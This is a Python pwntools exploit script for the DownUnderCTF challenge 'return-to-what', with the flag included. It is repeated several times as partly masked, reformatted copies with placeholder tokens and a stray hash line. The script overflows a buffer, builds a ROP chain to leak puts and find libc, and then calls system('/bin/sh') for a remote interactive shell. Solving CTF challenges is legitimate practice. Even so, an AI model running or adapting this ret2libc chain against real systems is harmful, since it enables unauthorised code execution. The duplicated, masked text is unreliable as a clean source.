#exploit for returntowhat
#DUCTF{ret_pUts_ret_main_ret_where???}
from pwn import *
elf = ELF("./return-to-what")
context.binary=elf
libc=ELF('libc6_2.27-3ubuntu1_amd64.so')
target=remote('chal.duc.tf',30003)

def sla(string,val):
	target.sendlineafter(string,val)

main=0x401185
poprdi=0x000000000040122b
ret=0x0000000000401016

payload="A"*0x38+p64(poprdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)
sla("to?\n",payload)
libc_leak=u64(target.recv(6).ljust(8,"\x00"))
libc_base=libc_leak-libc.symbols["puts"]
libc_system=libc_base+libc.symbols["system"]
libc_binsh=libc_base+libc.search("/bin/sh\x00").next()
payload="A"*0x38+p64(poprdi)+p64(libc_binsh)+p64(ret)+p64(libc_system)
target.sendline(payload)
target.interactive()

487dc76305812f2c8d4f2457777b29eaf686da57
<mask token>


def sla(string, val):
    target.sendlineafter(string, val)


<mask token>

<mask token>


def sla(string, val):
    target.sendlineafter(string, val)


<mask token>
sla('to?\n', payload)
<mask token>
target.sendline(payload)
target.interactive()

<mask token>
elf = ELF('./return-to-what')
context.binary = elf
libc = ELF('libc6_2.27-3ubuntu1_amd64.so')
target = remote('chal.duc.tf', 30003)


def sla(string, val):
    target.sendlineafter(string, val)


main = 4198789
poprdi = 4198955
ret = 4198422
payload = 'A' * 56 + p64(poprdi) + p64(elf.got['puts']) + p64(elf.plt['puts']
    ) + p64(main)
sla('to?\n', payload)
libc_leak = u64(target.recv(6).ljust(8, '\x00'))
libc_base = libc_leak - libc.symbols['puts']
libc_system = libc_base + libc.symbols['system']
libc_binsh = libc_base + libc.search('/bin/sh\x00').next()
payload = 'A' * 56 + p64(poprdi) + p64(libc_binsh) + p64(ret) + p64(libc_system
    )
target.sendline(payload)
target.interactive()

from pwn import *
elf = ELF('./return-to-what')
context.binary = elf
libc = ELF('libc6_2.27-3ubuntu1_amd64.so')
target = remote('chal.duc.tf', 30003)


def sla(string, val):
    target.sendlineafter(string, val)


main = 4198789
poprdi = 4198955
ret = 4198422
payload = 'A' * 56 + p64(poprdi) + p64(elf.got['puts']) + p64(elf.plt['puts']
    ) + p64(main)
sla('to?\n', payload)
libc_leak = u64(target.recv(6).ljust(8, '\x00'))
libc_base = libc_leak - libc.symbols['puts']
libc_system = libc_base + libc.symbols['system']
libc_binsh = libc_base + libc.search('/bin/sh\x00').next()
payload = 'A' * 56 + p64(poprdi) + p64(libc_binsh) + p64(ret) + p64(libc_system
    )
target.sendline(payload)
target.interactive()

#exploit for returntowhat
#DUCTF{ret_pUts_ret_main_ret_where???}
from pwn import *
elf = ELF("./return-to-what")
context.binary=elf
libc=ELF('libc6_2.27-3ubuntu1_amd64.so')
target=remote('chal.duc.tf',30003)

def sla(string,val):
	target.sendlineafter(string,val)

main=0x401185
poprdi=0x000000000040122b
ret=0x0000000000401016

payload="A"*0x38+p64(poprdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)
sla("to?\n",payload)
libc_leak=u64(target.recv(6).ljust(8,"\x00"))
libc_base=libc_leak-libc.symbols["puts"]
libc_system=libc_base+libc.symbols["system"]
libc_binsh=libc_base+libc.search("/bin/sh\x00").next()
payload="A"*0x38+p64(poprdi)+p64(libc_binsh)+p64(ret)+p64(libc_system)
target.sendline(payload)
target.interactive()
